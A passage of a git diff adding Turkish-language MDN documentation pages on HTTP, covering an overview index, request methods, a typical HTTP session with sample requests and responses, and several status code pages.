href="https://tr.wikipedia.org/wiki/%C4%B0stemci-sunucu">istemci-sunucu modeline</a> uyar, bir istemci bir istek yapmak için bağlantı kurar ve ardından bir yanıt alana kadar bekler. HTTP <a class="external" href="https://en.wikipedia.org/wiki/Stateless_protocol">durumsuz protokoldür</a>, yani sunucu iki istek arasında herhangi bir veri (durum) tutmaz. Genellikle TCP/IP katmanına dayalı olsa da, herhangi bir güvenilir <a class="external" href="http://en.wikipedia.org/wiki/Transport_Layer">taşıma katmanının</a>, mesajları sessizce kaybetmeyen bir protokol "UDP gibi", üzerinde kullanılabilir. </dfn></strong></span><strong><a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a> - UDP'nin güvenilir bir şekilde güncellenmesi - uygun bir alternatiftir.</strong></p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Dersler">Dersler</h2> + +<p>HTTP'yi rehberler ve dersler ile öğrenin.</p> + +<dl> + <dt><a href="/tr/docs/Web/HTTP/Overview">HTTP'ye Genel Bakış</a></dt> + <dd>İstemci-Sunucu protokolünün temel özellikleri, ne yapabileceği ve kullanım amaçları.</dd> + <dt><a href="/tr/docs/Web/HTTP/Caching">HTTP Önbellek</a></dt> + <dd>Önbellekleme hızlı Web siteleri için çok önemlidir. Bu yazı, farklı önbellekleme metodlarını ve HTTP başlıklarının önbellekleme kontrolü için nasıl kullanılacağını açıklamaktadır.</dd> + <dt><a href="/tr/docs/Web/HTTP/Cookies">HTTP Çerezleri</a></dt> + <dd>Çerezlerin nasıl çalıştığı <a class="external" href="http://tools.ietf.org/html/rfc6265">RFC 6265</a> ile belirlenmiştir. Sunucu bir HTTP isteğini karşılarken, cevap içerisindeki HTTP Header'ında bir <code>Set-Cookie</code> gönderebilir. İstemci bu cookie değerini her istekte <code>Cookie</code> Header'ı içerisinde aynı sunucuya geri gönderir. Cookie değeri belirli bir tarihte sona erecek şekilde ayarlanabilir ya da özel bir etki alanı veya yolu ile sınırlanabilir.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Erişim Kontrolü (CORS)</a></dt> + <dd><strong>Siteler arası HTTP istekleri</strong>, isteği yapan kaynağın etki alanından <strong>farklı bir etki alanı</strong>na yapılan isteklerdir. Örneğin; Domain A (<code>http://domaina.example/</code>) 'da bulunan bir HTML sayfası, <code>img</code> öğesi aracılığıyla Domain B (<code>http://domainb.foo/image.jpg</code>)'ye bir resim için istek atar. Günümüzde web sayfaları kaynaklarını (CSS stil sayfaları, resimler, betikler ve diğerleri) çoğunlukla cross-site olarak yükler. CORS; web geliştiricilerin sitelerinin, siteler arası isteklere nasıl tepki vereceğini kontrol etmelerini sağlar.</dd> +</dl> + +<dl> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP'nin Evrimi</a></dt> + <dd>HTTP'nin ilk sürümleri ile modern HTTP / 2 ve sonrası arasındaki değişikliklerin kısa bir açıklaması.</dd> + <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Mozilla web güvenliği kılavuzları</a></dt> + <dd>Operasyonel ekiplere güvenli web uygulamaları oluşturma konusunda yardımcı olacak ipuçları koleksiyonu.</dd> +</dl> + +<dl> + <dt><a href="/tr/docs/Web/HTTP/Mesajlar">HTTP Mesajları</a></dt> + <dd>HTTP / 1.x ve HTTP / 2 türündeki mesajların türünü ve yapısını açıklar.</dd> + <dt><a href="/tr/docs/Web/HTTP/Oturum">Tipik bir HTTP oturumu</a></dt> + <dd>Normal bir HTTP oturumunun akışını gösterir ve açıklar.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x'de bağlantı yönetimi</a></dt> + <dd>HTTP/1.x'de ki 3 bağlantı yönetim modelini ve bunların güçlü ve zayıf yanlarını açıklar.</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="Referans">Referans</h2> + +<p>Ayrıntılı HTTP referanslarına göz atın.</p> + +<dl> + <dt><a href="/tr/docs/Web/HTTP/Headers">HTTP Başlıkları</a></dt> + <dd>HTTP mesaj başlıkları, bir kaynağı ya da sunucu veya istemcinin davranışını tanımlamak için kullanılır. Özel başlıklar X- öneki ile birlikte eklenebilir, diğerleri ise orijinal içeriği <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>'da tanımlı olan <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">IANA kayıtlarında</a> gösterilmiştir. IANA, aynı zamanda <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">yeni önerilen HTTP mesaj başlıklarının</a> kaydını bulundurur.</dd> + <dt><a href="/tr/docs/Web/HTTP/Metotlar">HTTP İstek Metodları</a></dt> + <dd>HTTP ile yapılabilen farklı işlemler:<br> + {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, ve daha az yaygın olan istek metodları, {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, veya {{HTTPMethod("TRACE")}}.</dd> + <dt><a href="/tr/docs/Web/HTTP/Status">HTTP Durum Cevap Kodları</a></dt> + <dd>HTTP cevap kodları, belirli bir HTTP isteğinin başarıyla tamamlanıp tamamlanmadığını gösterir. Yanıtlar beş sınıfta gruplandırılmıştır: bilgilendirme yanıtları, başarılı yanıtlar, yönlendirmeler, istemci hataları ve sunucu hataları.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP talimatları</a></dt> + <dd>{{HTTPHeader ("Content-Security-Policy")}} cevap başlığı alanları; web sitesi yöneticilerinin, user agent(örn. browser)'ın belirli bir sayfa için yüklemesine izin verilen kaynakları kontrol etmesini sağlar. Birkaç istisna dışında, politikalar çoğunlukla sunucu kaynaklarının ve komut dosyası kaynaklarının belirlenmesini içerir.</dd> +</dl> + +<h2 id="Araçlar_kaynaklar">Araçlar & kaynaklar</h2> + +<p>HTTP'yi anlamak ve hata ayıklamak için yardımcı araçlar ve kaynaklar.</p> + +<dl> + <dt><a href="/en-US/docs/Tools">Firefox Developer Tools</a></dt> + <dd><a href="/en-US/docs/Tools/Network_Monitor">Ağ izleyicisi</a></dd> + <dt><a href="https://observatory.mozilla.org/">Mozilla Gözlemevi</a></dt> + <dd> + <p>Proje; geliştiriciler, sistem yöneticileri ve güvenlik uzmanlarının sitelerini korunaklı ve güvenli bir şekilde yapılandırmalarına yardıcı olması için tasarlandı.</p> + </dd> + <dt><a class="external" href="https://redbot.org/">RedBot</a></dt> + <dd>Önbellek ile ilgili HTTP başlıklarını kontrol etmek için araçlar.</dd> + <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">Tarayıcılar Nasıl Çalışır</a></dt> + <dd>Tarayıcı içindekiler ve HTTP protokolü üzerinden istek akışı hakkında çok kapsamlı bir makale. Her web gelişticisi KESİNLİKLE-OKUMALI.</dd> +</dl> +</div> +</div> diff --git a/files/tr/web/http/metotlar/index.html b/files/tr/web/http/metotlar/index.html new file mode 100644 index 0000000000..1f4cacaa80 --- /dev/null +++ b/files/tr/web/http/metotlar/index.html @@ -0,0 +1,72 @@ +--- +title: HTTP istek metotları +slug: Web/HTTP/metotlar +tags: + - HTTP + - Metotlar +translation_of: Web/HTTP/Methods +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="tlid-translation translation" lang="tr">HTTP, belirli bir kaynak üzerinde yapılması istenen eylemi belirten bir dizi <strong>istek metodu</strong> tanımlamaktadır. Bu istek metotları aslında isim olabildiği halde, bazen <em>HTTP fiilleri</em> olarak da adlandırılır. Bunların her biri farklı bir anlam ifade etse de, bazılarının ortak özellikleri bulunur: örneğin bir istek metodu {{glossary ("safe")}}, {{glossary ("idempotent")}} veya {{glossary ("cacheable")}} olabilir.</span></p> + +<dl> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/GET">GET</a></code></dt> + <dd><code>GET</code> metodu <span class="tlid-translation translation" lang="tr"> belirtilen kaynağın bir temsilini ister. </span> <code>GET</code> <span class="tlid-translation translation" lang="tr">kullanan istekler yalnızca veri almalıdır.</span></dd> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt> + <dd><code>HEAD</code> <span class="tlid-translation translation" lang="tr">metodu </span><code>GET</code> <span class="tlid-translation translation" lang="tr">isteği ile tamamen aynı olan sadece gövdesi olmayan bir yanıt ister.</span></dd> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/POST">POST</a></code></dt> + <dd><code>POST</code> <span class="tlid-translation translation" lang="tr">metodu belirtilen kaynağa bir varlık (entity) göndermek için kullanılır, bu da genellikle sunucuda bir durum değişikliği ya da yan etkilere neden olur.</span></dd> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt> + <dd> + <p><code>PUT</code> <span class="tlid-translation translation" lang="tr">metodu hedefte bulunan kaynağın tüm geçerli temsillerinin yerine istek yükünü (request payload) koyar.</span></p> + </dd> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt> + <dd><code>DELETE</code> metodu belirtilen kaynağı siler.</dd> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt> + <dd> + <p><code>CONNECT</code> metodu <span class="tlid-translation translation" lang="tr">hedefteki kaynak tarafından tanımlanan sunucuya bir tünel oluşturur</span>.</p> + </dd> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt> + <dd><code>OPTIONS</code> metodu <span class="tlid-translation translation" lang="tr">hedefteki kaynağın iletişim seçeneklerini tanımlamak için kullanılır.</span></dd> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt> + <dd> + <p><code>TRACE</code> metodu <span class="tlid-translation translation" lang="tr">hedefteki kaynağa giden yol boyunca bir mesaj loop-back testi gerçekleştirir.</span></p> + </dd> + <dt><code><a href="/tr/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt> + <dd><code>PATCH</code> metodu <span class="tlid-translation translation" lang="tr">bir kaynağa kısmi değişiklikler uygulamak için kullanılır.</span></dd> +</dl> + +<h2 id="Tanımlar">Tanımlar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Başlık</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{RFC("7231", "Request methods", "4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + <td>GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE tanımlanıyor.</td> + </tr> + <tr> + <td>{{RFC("5789", "Patch method", "2")}}</td> + <td>PATCH Method for HTTP</td> + <td>PATCH tanımlanıyor.</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p class="hidden"><span class="tlid-translation translation" lang="tr">Bu uyumluluk verilerine katkıda bulunmak için, lütfen bu dosya için bir çekme isteği yazın</span>: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p> + +<p>{{Compat("http/methods")}}</p> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li><a href="/tr/docs/Web/HTTP/Headers">HTTP başlıkları</a></li> +</ul> diff --git a/files/tr/web/http/oturum/index.html b/files/tr/web/http/oturum/index.html new file mode 100644 index 0000000000..e7f0d4606e --- /dev/null +++ b/files/tr/web/http/oturum/index.html @@ -0,0 +1,173 @@ +--- +title: Tipik bir HTTP oturumu +slug: Web/HTTP/Oturum +tags: + - HTTP +translation_of: Web/HTTP/Session +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="tlid-translation translation" lang="tr">HTTP gibi istemci-sunucu protokollerinde, oturumlar üç aşamadan oluşur:</span></p> + +<ol> + <li><span class="tlid-translation translation" lang="tr"> İstemci bir TCP bağlantısı kurar (veya taşıma katmanı TCP değilse uygun bir bağlantı kurar).</span></li> + <li><span class="tlid-translation translation" lang="tr">İstemci isteğini gönderir ve cevabı bekler.</span></li> + <li><span class="tlid-translation translation" lang="tr">Sunucu isteği işler, bir durum kodu ve uygun verileri içeren cevabını geri gönderir.</span></li> +</ol> + +<p>HTTP/1.1'den itibaren, artık <span class="tlid-translation translation" lang="tr">üçüncü aşama tamamlandıktan sonra bağlantı kapanmaz ve istemciye başka bir istek daha verilir: yani ikinci ve üçüncü aşamalar artık istenildiği kadar tekrarlanabilir.</span></p> + +<h2 id="Bağlantı_kurma">Bağlantı kurma</h2> + +<p><span class="tlid-translation translation" lang="tr">İstemci-sunucu protokollerinde bağlantıyı kuran istemcidir.</span> <span class="tlid-translation translation" lang="tr">HTTP'de bağlantı açmak, altta yatan taşıma katmanında bağlantı başlatmak anlamına gelir; bu da genellikle TCP'dir</span>.</p> + +<p><span class="tlid-translation translation" lang="tr">TCP ile bir bilgisayardaki HTTP sunucusu için varsayılan port 80'dir. 8000 veya 8080 gibi diğer portlar da kullanılabilir. </span> Getirilecek <span class="tlid-translation translation" lang="tr">sayfanın URL'si, alan adını ve port numarasını içerir; eğer port 80 ise yazılmasa da olur</span>. Ayrıntılı bilgi için bakınız: <a href="/tr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Web'de kaynakları belirleme</a>.</p> + +<div class="note"><strong>Not:</strong> <span class="tlid-translation translation" lang="tr">İstemci-sunucu modeli, sunucunun istemciye açık bir istek olmadan veri göndermesine izin vermez. Bu soruna geçici bir çözüm bulmak için, web geliştiricileri bazı teknikler kullanmaktadır:</span> {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} API , <a href="/en/WebSockets" title="en/WebSockets">WebSockets API</a>, veya benzer protokolleri kullanarak düzenli aralıklarla sunucu ping'lenir.</div> + +<h2 id="İstemci_isteği_gönderimi">İstemci isteği gönderimi</h2> + +<p>Bağlantı kurulduktan sonra, kullanıcı aracısı -user agent- istek gönderebilir (kullanıcı aracısı genellikle bir web tarayıcısıdır, ancak crawler gibi başka bir program da olabilir). Bir istemci isteği, CRLF ile ayrılan (satır başı, ardından satır sonu karakteri), üç bloğa bölünmüş metin direktiflerinden oluşur:</p> + +<ol> + <li>İlk satırda bir istek yöntemi ve ardından gelen parametreleri bulunur: + <ul> + <li>belgenin yolu, yani protokol veya alan adı olmayan mutlak bir URL</li> + <li>HTTP protokolü sürümü</li> + </ul> + </li> + <li>Sonraki satırlar sunucuya hangi tür verilerin uygun olduğu (kullanılacak dil veya MIME türleri gibi) veya davranışını değiştiren başka veriler (örneğin önbelleğe alınmışsa bir yanıt göndermeme) hakkında bilgi veren bir HTTP başlığını temsil eder. Bu HTTP başlıkları boş bir satırla biten bir blok oluşturur.</li> + <li>Son blok genellikle POST metodu tarafından kullanılan ek verileri barındıran isteğe bağlı bir veri bloğudur.</li> +</ol> + +<h3 id="İstek_örnekleri">İstek örnekleri</h3> + +<p>developer.mozilla.org sitesinin kök sayfasını yani <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a> sayfasını getirme, ve sunucuya kullanıcı aracısının sayfayı mümkünse Fransızca olarak tercih ettiğini bildirmek:</p> + +<pre>GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr +</pre> + +<p>Sondaki boş satırın veri bloğunu başlık bloğundan ayırdığına dikkat ediniz. HTTP başlığı olarak <code>Content-Length</code> belirtilmediğinden bu veri bloğu boş olarak sunulur, böylece başlıkların bittiğini işaret ederek sunucunun bu boş satırı alır almaz isteği işlemesine imkan verir.</p> + +<p>Örneğin bir formun sonucunu gönderme:</p> + +<pre>POST /iletisim_formu.php HTTP/1.1 +Host: developer.mozilla.org +Content-Length: 64 +Content-Type: application/x-www-form-urlencoded + +adi=Joe%20Kullanici&istegi=Bana%20bir%20katalog%20gonderir%20misiniz +</pre> + +<h3 id="İstek_metotları">İstek metotları</h3> + +<p>HTTP protokolü bir kaynak üzerinde gerçekleştirilmek istenen eylemi belirten bir dizi <a href="/tr/docs/Web/HTTP/Methods">istek metodu</a> tanımlamaktadır. Bu isteklere aslında isim de olabildikleri halde HTTP fiileri de denilir. En sık kullanılan istekler <code>GET</code> ve <code>POST</code>'tur:</p> + +<ul> + <li>{{HTTPMethod("GET")}} metodu belirtilen kaynağın bir veri temsilini talep eder. <code>GET</code> ile yapılan istekler yalnızca veri almalıdır.</li> + <li>{{HTTPMethod("POST")}} metodu sunucuya durumunu değiştirmesi için veri gönderir. <a href="/tr/docs/Web/Guide/HTML/Forms">HTML Formları</a>'nda genellikle bu metot kullanılır.</li> +</ul> + +<h2 id="Sunucu_yanıtının_yapısı">Sunucu yanıtının yapısı</h2> + +<p>Bağlanan aracı isteğini gönderdikten sonra, web sunucusu isteği işler ve sonuçta bir yanıt verir. İstemci isteğine benzer şekilde, sunucunun yanıtı CRLF ile ayrılan ve üç bloğa bölünmüş metin direktiflerinden oluşur:</p> + +<ol> + <li>İlk satır, <em>durum satırı</em>, kullanılan HTTP sürümünün onayı ve ardından bir durum isteğinden (ve insan tarafından okunabilen kısa bir açıklamadan) oluşur.</li> + <li>Sonraki satırlar gönderilen veri hakkında istemciye bilgi veren (tür, veri boyutu, kullanılan sıkıştırma algoritması, önbelleğe alma hakkında ipuçları vb.) belirli HTTP başlıklarını içerir. İstemci isteğinde olduğu gibi, bu HTTP başlıkları da boş bir satırla biten bir blok oluşturur.</li> + <li>Son blok isteğe bağlı verileri içeren bir veri bloğudur.</li> +</ol> + +<h3 id="Cevap_örnekleri">Cevap örnekleri</h3> + +<p>Başarılı bir web sayfası isteği yanıtı:</p> + +<pre>HTTP/1.1 200 OK +Content-Type: text/html; charset=utf-8 +Content-Length: 55743 +Connection: keep-alive +Cache-Control: s-maxage=300, public, max-age=0 +Content-Language: en-US +Date: Thu, 06 Dec 2018 17:37:18 GMT +ETag: "2e77ad1dc6ab0b53a2996dfd4653c1c3" +Server: meinheld/0.6.1 +Strict-Transport-Security: max-age=63072000 +X-Content-Type-Options: nosniff +X-Frame-Options: DENY +X-XSS-Protection: 1; mode=block +Vary: Accept-Encoding,Cookie +Age: 7 + + +<!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="utf-8"> + <title>A simple webpage</title> +</head> +<body> + <h1>Simple HTML5 webpage</h1> + <p>Hello, world!</p> +</body> +</html> +</pre> + +<p>İstenen kaynağın kalıcı olarak taşındığını belirten bildirim:</p> + +<pre>HTTP/1.1 301 Moved Permanently +Server: Apache/2.4.37 (Red Hat) +Content-Type: text/html; charset=utf-8 +Date: Thu, 06 Dec 2018 17:33:08 GMT +Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(bu kaynağın taşındığı yeni bağlantıdır</em><em>; kullanıcı aracısının bunu getirmesi beklenir)</em></strong> +Keep-Alive: timeout=15, max=98 +Accept-Ranges: bytes +Via: Moz-Cache-zlb05 +Connection: Keep-Alive +Content-Length: 325 <em>(<strong>içerikte kullanıcı aracısının bağlantıyı takip edememesi halinde gösterilecek varsayılan sayfa bulunur)</strong></em> + + +<!DOCTYPE html... <strong><em>(kullanıcının eksik kaynağı bulmasına yardımcı olan özelleştirilmiş bir sayfa içerir)</em></strong> +</pre> + +<p>İstenen kaynağın bulunamadığını belirten bildirim:</p> + +<pre>HTTP/1.1 404 Not Found +Content-Type: text/html; charset=utf-8 +Content-Length: 38217 +Connection: keep-alive +Cache-Control: no-cache, no-store, must-revalidate, max-age=0 +Content-Language: en-US +Date: Thu, 06 Dec 2018 17:35:13 GMT +Expires: Thu, 06 Dec 2018 17:35:13 GMT +Server: meinheld/0.6.1 +Strict-Transport-Security: max-age=63072000 +X-Content-Type-Options: nosniff +X-Frame-Options: DENY +X-XSS-Protection: 1; mode=block +Vary: Accept-Encoding,Cookie +X-Cache: Error from cloudfront + + +<!DOCTYPE html... <strong><em>(kullanıcının eksik kaynağı bulmasına yardımcı olan özelleştirilmiş bir sayfa içerir)</em></strong> +</pre> + +<h3 id="Yanıt_durumu_kodları">Yanıt durumu kodları</h3> + +<p><a href="/tr/docs/Web/HTTP/Status">HTTP yanıt durumu kodları</a> belirli bir HTTP isteğinin başarıyla tamamlanıp tamamlanmadığını gösterir. Yanıtlar beş sınıfa ayrılır: bilgilendirme yanıtları, başarı yanıtları, yönlendirmeler, istemci hataları ve sunucu hataları.</p> + +<ul> + <li>{{HTTPStatus(200)}}: Tamam. İstek başarılı oldu.</li> + <li>{{HTTPStatus(301)}}: Kalıcı olarak taşındı. Bu yanıt kodu, istenen kaynağın URI'sinin değiştirildiği anlamına gelir.</li> + <li>{{HTTPStatus(404)}}: Bulunamadı. Sunucu istenen kaynağı bulamıyor demektir.</li> +</ul> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li><a href="/tr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Web'de kaynakları belirleme</a></li> + <li><a href="/tr/docs/Web/HTTP/Headers">HTTP başlıkları</a></li> + <li><a href="/tr/docs/Web/HTTP/Methods">HTTP istek metotları</a></li> + <li><a href="/tr/docs/Web/HTTP/Status">HTTP yanıt durumu kodları </a></li> +</ul> diff --git a/files/tr/web/http/status/200/index.html b/files/tr/web/http/status/200/index.html new file mode 100644 index 0000000000..a0f72e76f1 --- /dev/null +++ b/files/tr/web/http/status/200/index.html @@ -0,0 +1,53 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +tags: + - 200OK nedir + - 200OK oluşturma +translation_of: Web/HTTP/Status/200 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP cevap durum kodu <strong><code>200 OK</code></strong> isteğin başarılı olduğunu ifade eder. Bu durum koduna sahip cevaplar, varsayılan olarak önbelleğe (cache) alınabilir.</p> + +<p>Başarılı isteğin ne anlama geldiği, yapılan HTTP isteğin türüne bağlıdır:</p> + +<ul> + <li>{{HTTPMethod("GET")}}: İstenilen kaynak bulundu ve dönen cevabın gövdesinde gönderildi.</li> + <li>{{HTTPMethod("HEAD")}}: Bütün başlık mesajları (HEADER) cevabın gövdesi olarak döner.</li> + <li>{{HTTPMethod("POST")}}: Yapılan isteğe karşılık gelen sonuç, cevabın gövdesinde gönderilir.</li> + <li>{{HTTPMethod("TRACE")}}: Sunucu, aldığı isteği cevabın gövdesi olarak gönderir.</li> +</ul> + +<p>Başarılı olan {{HTTPMethod("PUT")}} veya {{HTTPMethod("DELETE")}} isteği sonucunda dönen cevap genellikle <code>200</code> <code>OK</code> değil, <code>{{HTTPStatus("204")}}</code><code>No Content (veya bir kaynak ilk kez oluşturulmuşsa {{HTTPStatus("201")}}) Created)</code> olur.</p> + +<h2 id="Durum">Durum</h2> + +<pre class="syntaxbox notranslate">200 OK</pre> + +<h2 id="Şartnameler">Şartnameler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> + <td>Hypertext Transfer Protokolü (HTTP/1.1): Anlam ve İçerikler</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p class="hidden">Tarayıcı uyumluluğu tablosu, hazır verilerden otomatik olarak oluşturulmuştur. Eğer bu verilere katkıda bulunmak isteseniz, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresine gidin ve bize bir çekme isteğinde (pull request) bulunun.</p> + +<p>{{Compat("http.status.200")}}</p> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP istek metodları</a></li> +</ul> diff --git a/files/tr/web/http/status/205/index.html b/files/tr/web/http/status/205/index.html new file mode 100644 index 0000000000..d212490377 --- /dev/null +++ b/files/tr/web/http/status/205/index.html @@ -0,0 +1,39 @@ +--- +title: 205 Reset Content +slug: Web/HTTP/Status/205 +translation_of: Web/HTTP/Status/205 +--- +<p>{{HTTPSidebar}}</p> + +<p>The HTTP <strong><code>205 Reset Content</code></strong> response status tells the client to reset the document view, so for example to clear the content of a form, reset a canvas state, or to refresh the UI.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">205 Reset Content</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibility_Notes">Compatibility Notes</h2> + +<ul> + <li>Browser behavior differs if this response erroneously includes a body on persistent connections See <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> for more detail.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus(204)}} No Content</li> +</ul> diff --git a/files/tr/web/http/status/301/index.html b/files/tr/web/http/status/301/index.html new file mode 100644 index 0000000000..a2dcab9a0d --- /dev/null +++ b/files/tr/web/http/status/301/index.html @@ -0,0 +1,55 @@ +--- +title: 301 Kalıcı Yönlendirme +slug: Web/HTTP/Status/301 +translation_of: Web/HTTP/Status/301 +--- +<div>{{HTTPSidebar}}</div> + +<p>The HyperText Transfer Protocol (HTTP) <code><strong>301 Moved Permanently</strong></code> redirect status response code indicates that the resource requested has been definitively moved to the URL given by the {{HTTPHeader("Location")}} headers. A browser redirects to this page and search engines update their links to the resource (in 'SEO-speak', it is said that the 'link-juice' is sent to the new URL).</p> + +<p>Even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. It is therefore recommended to use the <code>301</code> code only as a response for {{HTTPMethod("GET")}} or {{HTTPMethod("HEAD")}} methods and to use the {{HTTPStatus("308", "308 Permanent Redirect")}} for {{HTTPMethod("POST")}} methods instead, as the method change is explicitly prohibited with this status.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">301 Moved Permanently</pre> + +<h2 id="Example">Example</h2> + +<h3 id="Client_request">Client request</h3> + +<pre class="notranslate">GET /index.php HTTP/1.1 +Host: www.example.org</pre> + +<h3 id="Server_response">Server response</h3> + +<pre class="notranslate">HTTP/1.1 301 Moved Permanently +Location: http://www.example.org/index.asp</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "301 Moved Permanently" , "6.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("http.status.301")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li> + <li>{{HTTPStatus("302", "302 Found")}}, the temporary redirect</li> + <li><a href="https://www.exai.com/blog/301-redirects">301 Redirect </a></li> +</ul> diff --git a/files/tr/web/http/status/302/index.html b/files/tr/web/http/status/302/index.html new file mode 100644 index 0000000000..061e7bfaa2 --- /dev/null +++ b/files/tr/web/http/status/302/index.html @@ -0,0 +1,47 @@ +--- +title: 302 Geçici Yönlendirme +slug: Web/HTTP/Status/302 +translation_of: Web/HTTP/Status/302 +--- +<div>{{HTTPSidebar}}</div> + +<p>The HyperText Transfer Protocol (HTTP) <code><strong>302 Found</strong></code> redirect status response code indicates that the resource requested has been temporarily moved to the URL given by the {{HTTPHeader("Location")}} header. A browser redirects to this page but search engines don't update their links to the resource (in 'SEO-speak', it is said that the 'link-juice' is not sent to the new URL).</p> + +<p>Even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents conform here - you can still find this type of bugged software out there. It is therefore recommended to set the <code>302</code> code only as a response for {{HTTPMethod("GET")}} or {{HTTPMethod("HEAD")}} methods and to use {{HTTPStatus("307", "307 Temporary Redirect")}} instead, as the method change is explicitly prohibited in that case.</p> + +<p>In the cases where you want the method used to be changed to {{HTTPMethod("GET")}}, use {{HTTPStatus("303", "303 See Other")}} instead. This is useful when you want to give a response to a {{HTTPMethod("PUT")}} method that is not the uploaded resource but a confirmation message such as: 'you successfully uploaded XYZ'.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">302 Found</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("http.status.302")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, the equivalent of this status code where the method used never changes.</li> + <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301", "301 Moved Permanently")}}, the permanent redirect.</li> +</ul> diff --git a/files/tr/web/http/status/400/index.html b/files/tr/web/http/status/400/index.html new file mode 100644 index 0000000000..2d6f8ea50a --- /dev/null +++ b/files/tr/web/http/status/400/index.html @@ -0,0 +1,37 @@ +--- +title: 400 Kötü İstek +slug: Web/HTTP/Status/400 +translation_of: Web/HTTP/Status/400 +--- +<p>{{HTTPSidebar}}</p> + +<p>The HyperText Transfer Protocol (HTTP) <code><strong>400 Bad Request</strong></code> response status code indicates that the server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request 